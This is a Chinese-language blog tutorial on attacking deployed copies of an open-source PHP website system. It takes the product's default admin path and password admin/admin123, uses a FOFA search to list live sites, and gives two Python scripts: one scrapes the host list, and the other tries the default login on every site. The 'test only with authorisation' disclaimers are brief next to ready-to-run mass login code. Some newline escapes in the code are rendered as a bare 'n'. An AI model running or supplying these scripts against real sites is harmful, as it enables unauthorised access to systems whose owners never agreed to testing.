漏洞挖掘技巧-开源程序漏洞挖掘

0x00 开源程序介绍

挖掘漏洞的时候挖掘的对象的框架涉及到两种:

第一种是闭源框架,闭源框架里面涉及到两种,一是个人开发,不对外使用,或者未公开,二是商用型,需要甲方购买使用,这些一般都是闭源的,很难拿到源码。
第二种是开源框架,也就是我们今天要讲的,开源框架既你可以在网上获取到源码信息。能够获取到源码。那操作空间不就来了嘛?

0x01 某开源程序漏洞挖掘

(1)源码获取
现在网上的源码网站很多,这里推荐一个作为示范
https://down.chinaz.com/
选取开源程序需要注意:

1.源码是否最近有更新,不要选取太老旧的框架,避免后期信息收集很难。
2.还要选取热度比较高的源码,说明使用的对象多,后面的信息收集,挖掘的对象也就多。
3.还要注意源码的脚本类型,简单介绍一下,常见的脚本类型,PHP,Python,C,java等,这里推荐挖掘php的源码程序,因为相对于其他类型的源码,php还是比较容易挖掘,相对于java,难度系数就很大。

4.这里我们选择了一个php类型的建站系统,下载进行挖掘

(2)基本信息收集

选取了对应的源码,第二步开始信息收集,首先需要收集源码的基本信息,比如默认后台,默认的接口,以及一切默认的账户密码,这些都不能忽略。

这里看到默认的产品说明,记录了网站的默认后台以及账户密码

后台网址: ../admindm-yourname/g.php
用户名:admin 密码: admin123


接下来我们可以对这个后台进行广泛的信息收集,看有没有粗心的程序员使用的默认账户后台,
(3)fofa信息收集后台:

fofa:"admindm-yourname"


这里问题来了,找到对应的框架网站,如何找到后台呢?我们可以模拟建站,或者到网上搜索该源码的示例网站,

后台地址:/admindmyourname/mod_common/login.php


通过源码里面看到,后台的字段名其实可以修改,但是不避免有粗心的程序员未修改,这里我们拼接刚刚的后台路径,发现成功加入后台,


下一步,尝试弱口令,抓到一个粗心的程序员!!!妥妥的弱口令不旧来了嘛,后面可以尝试其他的权限获取,但是要在授权的情况下,安全测试,出事均由本人承担相应责任,/狗头

(4)批量收集后台,批量挖掘弱口令
思路和方法都清晰了,下面我们进行批量的信息收集和挖掘弱口令
fofa批量爬取对象:

import requests
import base64
from lxml import etree
import time


search_data='"admindm-yourname"'    #条件
headers={
    'cookie':'你的cookie',
}
for yeshu in range(1,6):
    url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
    search_data_bs=str(base64.b64encode(search_data.encode("utf-8")),"utf-8")
    urls=url+search_data_bs
    print(urls)
    try:
        print('正在提取第'+str(yeshu)+'页')
        result=requests.get(urls,headers=headers).content
        soup=etree.HTML(result)
        ip_data=soup.xpath('//span[@class="aSpan"]/a[@target="_blank"]/@href')
        ipdata='n'.join(ip_data)
        print(ip_data)
        with open(r'./dm.txt','a+') as f:
            f.write(ipdata+'n')
            f.close()
        time.sleep(0.5)
    except Exception as e:
        pass


python批量验证:

import requests

def check_login():
    data={
        'user':'admin',
        'password':'admin123'
    }
    for url in open('dm.txt'):
        url= url.replace('n','')
        urls= url+'/admindm-yourname/mod_common/login.php'
        try:
            result =requests.post(urls,data=data).content.decode('utf-8')
            if 'sorry' in result:    #sorry可以适当修改条件
                print(url+'不存在')
            else:
                print(url+'存在')
        except Exception as e:
            pass
if __name__ == '__main__':
        check_login()


逐一验证即可!
(4)源码审计挖掘
需要一定php基础,读懂代码复现漏洞
代码审计后本地自主搭建,测试漏洞,请勿非法测试!后果皆由测试本人承担!
seay代码审计:自行审计测试,这里就不作演示

请勿非法测试!文章作为思路学习开源的项目挖掘,还请师傅们多多提意见

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>